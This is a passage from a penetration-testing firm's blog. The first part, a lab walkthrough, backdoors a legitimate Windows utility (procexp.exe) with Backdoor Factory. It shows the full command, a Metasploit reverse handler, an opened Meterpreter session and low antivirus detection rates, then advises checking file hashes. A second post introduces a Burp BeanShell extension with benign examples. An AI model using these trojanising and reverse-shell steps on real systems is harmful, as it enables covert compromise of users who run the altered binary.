LHOST => 192.168.1.118
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.118:4444 
[*] Starting the payload handler...

Now we need to distribute the binary to our victim and get them to run it. Since we are in a lab environment for the purpose of this blog post, I will transfer it to a Windows VM. We can see the backdoored binary in the screenshot below.

Once we run it, we will see the standard Process Explorer that most of us are familiar with.

And when we look at the metasploit listener we have running, we see the following

msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.118:4444 
[*] Starting the payload handler...
[*] Sending stage (882176 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.118:4444 -> 192.168.1.110:63437) at 2015-05-14 00:15:32 -0600

meterpreter > 


Great, so we now that we have a meterpreter shell, we can continue to do a whole number of evil things such as migrate to other processes, escalate privileges, and start attacking other hosts on the network but how does this fair against anti-virus detection? A quick upload to Metascan detects that 2 out of 44 scanning engines have detected this binary.

And likewise, uploading the backdoored procexp.exe to VirusTotal, we discover a detection rate of 1 out of 57.

BDF has some additional options that are very handy to use. First of all, you can do cave jumping with the -J flag. This will divide the shell code between 3 separate code caves. While I have not seen the use of -J significantly influence Anti-Virus scanning results, it will obfuscate the shellcode more than using a single cave.

BDF has also recently added the -m flag where you can specify the patching method. While BDF will default to patching a binary manually, you can use the flag -m automatic and Backdoor factory will automatically select the best code caves to use without any further user interaction as seen below.

root@kali:~# /opt/the-backdoor-factory/backdoor.py -f procexp.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.118 -P 4444 -m automatic
__________                __       .___                   
______   _____    ____ |  | __ __| _/____   ___________ 
 |    |  _/__   _/ ___|  |/ // __ |/  _  /  _ _  __  
 |    |    / __   ___|    __|_ ____ |____/ ____/|__|   
        /      /     /     /    /                    
___________              __                               
_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) __   _/ ___   __/  _ _  __ <   |  |        
 |        / __   ___|  | (   )  | /___  |        
 ___  /  (____  /___  >__|  ____/|__|   / ____|        
     /        /     /                   /             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmailcom
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.0.3
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 71
[*] All caves lengths:  71, 298, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 114: Section Name: .data; Cave begin: 0xda269 End: 0xda444; Cave Size: 475
[!] Selected: 89: Section Name: .data; Cave begin: 0xd8f71 End: 0xd8fdc; Cave Size: 107
[!] Selected: 110: Section Name: .data; Cave begin: 0xd99f5 End: 0xd9a5c; Cave Size: 103
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] Overwriting certificate table pointer
File procexp.exe is in the 'backdoored' directory
root@kali:~#

So remember, whenever you are downloading binary files that you are going to run, don’t solely rely on AntiVirus to flag it. You need to also verify that the hash of the file is a known good hash provided by the software distributor.

Danny Howerton is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at dhowerton@secureideas.com, on Twitter @metacortex, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

And Now… Introducing: Burp BS!

May 4th, 2015

Burp BS… where the “BS” stands for BeanShell.  “What on earth is BeanShell?” you may ask?  BeanShell is a very old Java library that was designed to build scripts in Java (full details on www.beanshell.org).  It never really caught on for general use because the Java language is designed from the ground up to be a strongly typed OO language, which is counter to the ‘norm’ for a scripting language.  Still, BeanShell is mature, solid, and has been used in a number of places where scripting inside of an existing Java container makes sense.

If you see where this is going and just want to find the download link, it’s hereburpco2.com/burp-bs.html.  Otherwise, please read on:

With the Burp BS extension, Burp is now one of those places!  You might be thinking: “scripting is cool but when will you really need it?  Can’t Burp already handle just about every scenario?”.  Burp is pretty good at handling just about everything but sometimes you get into some tricky corner-case where the standard tools just don’t cut it.  I never write a Burp extension that I don’t use at some point need in a Web Penetration test.

In this particular case I was faced with a clever sort of MAC (Message Auth Code) check, where the MAC was a parameter derived from other POST parameters, one of which was an incrementing value.  Furthermore, the server actually kept track of these and would not process requests with a MAC that was used previously (so now the MAC is only functioning as a sort of Nonce).  I could not figure out any way in Burp to have it gather values, increment one, generate the MAC and set it…. that’s just too many things to juggle.  Sure I could have messed around with Intruder and maybe gotten parts of this to work, but that doesn’t help me with other tools such as Repeater.  But if I could write a little script to process each request…

I know some of you are thinking “Python?”.  I’m a fan of Python so I absolutely did consider just writing the logic in a Python script or extension (or using an existing Python extension) but then I remembered BeanShell.  Some of the advantages of BeanShell include:

  • I could build a little interface for running and testing scripts directly inside of Burp.  No need to keep redeploying an extension to see if the script works.
  • Completely reusable for future tests.
  • BeanShell actually runs inside the existing Burp Java environment so it has full access to the usual Java APIs as well as all the Burp APIs.
  • Although it is running in the Java environment and using Java code, BeanShell code designed to be script-friendly so it doesn’t have some of the constraints of the Java language.
  • I could easily write a wrapper around Burp’s APIs to expose intuitive objects.

In the end I decided to move forward with BeanShell.  So what does this scripting language look like, you may ask?  Let’s say you need to grab parameters foo and bar, concatenate them, generate the MD5 hash and place it in the cookie foobar:

values = request.getParam(“foo”) + request.getParam(“bar”);
request.setCookie(“foobar”, utils.md5(values));

Or let’s say you need to conditionally add the header “X-Foo” whenever a parameter “bar” is set to “true”, and only on GET requests… but you need to switch them to POST requests.

if (request.getMethod().equals(“GET”) && request.getParameter(“bar”).equals(“true”))
{
    request.setHeader(“X-Foo”, “Burp BS Awesomeness”);
    request.toggleMethod();
}

If you are familiar with Java syntax already these probably seem very easy to understand.  Note that I didn’t have to set a type for new variables (that’s a script-friendly feature of BeanShell) and I have access to some useful pre-set objects (request and utils).

If you are interested in reading more about this project please visit burpco2.com/burp-bs.html.  Please send me feedback if you find this extension useful or if you have ideas to improve on it.


Jason Gillam is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.